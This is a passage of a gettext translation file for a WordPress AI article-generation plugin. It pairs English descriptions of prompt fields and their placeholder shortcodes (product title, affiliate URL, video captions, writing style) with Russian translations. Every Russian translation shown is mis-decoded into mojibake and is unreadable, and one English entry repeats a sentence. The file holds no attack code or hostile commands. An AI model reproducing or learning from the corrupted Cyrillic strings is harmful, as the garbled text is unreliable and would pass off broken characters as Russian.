иÑпользуемый Ð´Ð»Ñ Ð²ÑÑ‚ÑƒÐ¿Ð»ÐµÐ½Ð¸Ñ Ðº Ñтатье. Ð’Ñ‹ можете иÑпользовать " "Ñледующие короткие коды: %%product_title%%, %%product_description%%, " "%%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "— Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, " "Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать " "ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-amazon-list.php:894 res/aiomatic-single-list.php:5102 #, php-format msgid "" "Prompt to be used for the intro of the article. You can use the following " "shortcodes: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Промпт иÑпользуемый Ð´Ð»Ñ Ð²ÑÑ‚ÑƒÐ¿Ð»ÐµÐ½Ð¸Ñ Ðº Ñтатье. Ð’Ñ‹ можете иÑпользовать " "Ñледующие короткие коды: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды " "(короткие коды, Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете " "иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:833 res/aiomatic-single-list.php:1786 #, php-format #| msgid "" #| "Prompt to be used for the intro of the article. You can use the following " #| "shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, " #| "%%writing_style%%, %%writing_tone%%, %%sections_count%%, " #| "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: " #| "nested shortcodes also supported (shortcodes generated by rules from " #| "other plugins). You will also be able to use the custom shortcodes " #| "defined in the 'Custom Shortcode Creator' feature from the rule settings -" #| " this will allow you to create partially or fully AI generated prompts " #| "which will be used for the content generators." msgid "" "Prompt to be used for the intro of the article. You can use the following " "shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Промпт Ð´Ð»Ñ Ð’Ð²ÐµÐ´ÐµÐ½Ð¸Ñ Ð¡Ñ‚Ð°Ñ‚ÑŒÐ¸. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: " "%%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% — Обновление: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "«Создание пользовательÑких шорткодов» в наÑтройках правил — Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом " "Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-single-list.php:3774 res/aiomatic-youtube-list.php:836 #, php-format msgid "" "Prompt to be used for the intro of the article. You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Промпт Вводной ЧаÑти Статьи. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Обновить: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды," " Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать " "пользовательÑкие шорткоды, определенные в функции 'Создатель " "ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать " "чаÑтично или полноÑтью AI-генерируемые Промпты, которые будут иÑпользоватьÑÑ " "Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-review-list.php:926 res/aiomatic-single-list.php:6431 #, php-format msgid "" "Prompt to be used for the main Sections of the article. These will be set " "also as headings in the article. You can use the following shortcodes: " "%%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, " "%%offer_price%%, %%product_price%%, %%product_list_price%%, " "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, " "%%list_price_numeric%%, %%product_imgs%%, %%sections_count%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% -" " Update: nested shortcodes also supported (shortcodes generated by rules " "from other plugins). You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Промпт иÑпользуемый Ð´Ð»Ñ Ð¾Ñновных разделов Ñтатьи. Они также будут " "уÑтановлены в качеÑтве заголовков в Ñтатье. Ð’Ñ‹ можете иÑпользовать Ñледующие " "короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, " "%%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%sections_count%%, %%search_keywords%%, %%language%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ " "вложенные короткие коды (короткие коды, Ñозданные по правилам других " "плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, " "определенные в функции «Создатель пользовательÑких коротких кодов» в " "наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью " "Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² " "контента." #: res/aiomatic-review-list.php:1116 res/aiomatic-single-list.php:6621 #, php-format msgid "" "Prompt to be used for the outro of the article. You can use the following " "shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, " "%%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% -" " Update: nested shortcodes also supported (shortcodes generated by rules " "from other plugins). You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Промпт иÑпользуемый Ð´Ð»Ñ Ð·Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ чаÑти Ñтатьи. Ð’Ñ‹ можете иÑпользовать " "Ñледующие короткие коды: %%product_title%%, %%product_description%%, " "%%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "— Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, " "Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать " "ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-amazon-list.php:1008 res/aiomatic-single-list.php:5216 #, php-format msgid "" "Prompt to be used for the outro of the article. You can use the following " "shortcodes: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Промпт иÑпользуемый Ð´Ð»Ñ Ð·Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ чаÑти Ñтатьи. Ð’Ñ‹ можете иÑпользовать " "Ñледующие короткие коды: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды " "(короткие коды, Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете " "иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:1000 res/aiomatic-single-list.php:1953 #, php-format #| msgid "" #| "Prompt to be used for the outro of the article. You can use the following " #| "shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, " #| "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " #| "%%post_original_title%%, %%blog_title%% - Update: nested shortcodes also " #| "supported (shortcodes generated by rules from other plugins). You will " #| "also be able to use the custom shortcodes defined in the 'Custom " #| "Shortcode Creator' feature from the rule settings - this will allow you " #| "to create partially or fully AI generated prompts which will be used for " #| "the content generators." msgid "" "Prompt to be used for the outro of the article. You can use the following " "shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Промпты которые могут быть иÑпользованы Ð´Ð»Ñ Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ ЧаÑти Статьи. Ð’Ñ‹ " "можете иÑпользовать Ñледующие Шорткоды: %%title%%, %%topic%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%," " %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — Обновление: " "также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ Шорткоды (Шорткоды, Ñозданные по правилам " "других Плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, " "определенные в функции «Создание ПользовательÑких Шорткодов» в ÐаÑтройках " "Правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные " "AI Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента." #: res/aiomatic-single-list.php:3941 res/aiomatic-youtube-list.php:1003 #, php-format msgid "" "Prompt to be used for the outro of the article. You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Промпт Ð´Ð»Ñ Ð·Ð°ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñчительной чаÑти Ñтатьи. Ð’Ñ‹ можете иÑпользовать " "Ñледующие шорткоды: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Обновить: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "\"Создатель ПользовательÑких Шорткодов\" из наÑтроек правил - Ñто позволит " "вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI Промпты, которые " "будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-amazon-list.php:3630 #, php-format msgid "" "Prompt to be used for the Post Comparison Table. You can use the following " "shortcodes: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You will also be able to use the custom shortcodes defined " "in the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" "Промпт иÑпользуемый Ð´Ð»Ñ Ñравнительной таблицы поÑтов. Ð’Ñ‹ можете иÑпользовать " "Ñледующие короткие коды: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — " "Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, " "Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать " "ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-review-list.php:3616 #, php-format msgid "" "Prompt to be used for the Post Customer Reviews Analysis section. You can " "use the following shortcodes: %%product_title%%, %%product_description%%, " "%%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% -" " to disable article outro, leave this prompt blank - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² разделе «Ðнализ отзывов клиентов». Ð’Ñ‹ можете " "иÑпользовать Ñледующие короткие коды: %%product_title%%, " "%%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, " "%%product_price%%, %%product_list_price%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, " "%%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, " "%%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% — чтобы отключить завершение Ñтатьи, " "оÑтавьте Ñтот промпт пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ " "короткие коды (короткие коды, Ñозданные правилами других плагинов). Ð’Ñ‹ также " "Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции " "«Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это " "позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, " "которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-review-list.php:3784 #, php-format msgid "" "Prompt to be used for the Post Excerpt. You can use the following shortcodes:" " %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%," " %%offer_price%%, %%product_price%%, %%product_list_price%%, " "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, " "%%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, " "%%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Промпт на иÑпользование в отрывке поÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие " "короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, " "%%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "— Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, " "Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать " "ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-amazon-list.php:3588 #, php-format #| msgid "" #| "Prompt to be used for the Q&A of the article. You can use the following " #| "shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, " #| "%%writing_style%%, %%writing_tone%%, %%sections_count%%, " #| "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: " #| "nested shortcodes also supported (shortcodes generated by rules from " #| "other plugins). You will also be able to use the custom shortcodes " #| "defined in the 'Custom Shortcode Creator' feature from the rule settings -" #| " this will allow you to create partially or fully AI generated prompts " #| "which will be used for the content generators." msgid "" "Prompt to be used for the Post Excerpt. You can use the following shortcodes:" " %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² вопроÑах и ответах (Q&A) ПоÑта. Ð’Ñ‹ можете " "иÑпользовать Ñледующие короткие коды: %%search_keywords%%, " "%%all_product_titles%%, %%all_product_info%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "«Создание пользовательÑких шорткодов» в наÑтройках правил — Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом " "Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:3805 #, php-format #| msgid "" #| "Prompt to be used for the excerpt of the article. You can use the " #| "following shortcodes: %%title%%, %%language%%, %%writing_style%%, " #| "%%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%," #| " %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also " #| "supported (shortcodes generated by rules from other plugins). You will " #| "also be able to use the custom shortcodes defined in the 'Custom " #| "Shortcode Creator' feature from the rule settings - this will allow you " #| "to create partially or fully AI generated prompts which will be used for " #| "the content generators." msgid "" "Prompt to be used for the Post Excerpt. You can use the following shortcodes:" " %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Промпт на иÑпользование отрывка из поÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие " "короткие коды: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% — Обновление: также поддерживаютÑÑ " "вложенные короткие коды (короткие коды, Ñозданные по правилам других " "плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, " "определенные в функции «Создатель пользовательÑких коротких кодов» в " "наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью " "Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² " "контента." #: res/aiomatic-youtube-list.php:3542 #, php-format #| msgid "" #| "Prompt to be used for the outro of the article. You can use the following " #| "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " #| "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " #| "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " #| "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " #| "generated by rules from other plugins). You will also be able to use the " #| "custom shortcodes defined in the 'Custom Shortcode Creator' feature from " #| "the rule settings - this will allow you to create partially or fully AI " #| "generated prompts which will be used for the content generators." msgid "" "Prompt to be used for the Post Excerpt. You can use the following shortcodes:" " %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You will also be able to use the custom shortcodes defined " "in the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" "Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð²Ñ‹Ð´ÐµÑ€Ð¶ÐºÐ¸ из поÑта. Ð’Ñ‹ можете " "иÑпользовать Ñледующие шорткоды: %%video_title%%, %%video_descripton%%, " "%%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "\"Создатель ПользовательÑких Шорткодов\" из наÑтроек правил - Ñто позволит " "вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-review-list.php:3490 #, php-format msgid "" "Prompt to be used for the Post Intro. You can use the following shortcodes: " "%%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, " "%%offer_price%%, %%product_price%%, %%product_list_price%%, " "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, " "%%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, " "%%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - to disable article intro, leave this " "prompt blank - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Промпт иÑппользуемый Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ñтупительной чаÑти поÑта. Ð’Ñ‹ можете " "иÑпользовать Ñледующие короткие коды: %%product_title%%, " "%%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, " "%%product_price%%, %%product_list_price%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, " "%%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, " "%%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% — чтобы отключить вÑтупление Ñтатьи, " "оÑтавьте Ñтот Промпт пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ " "короткие коды (короткие коды, Ñозданные правилами других 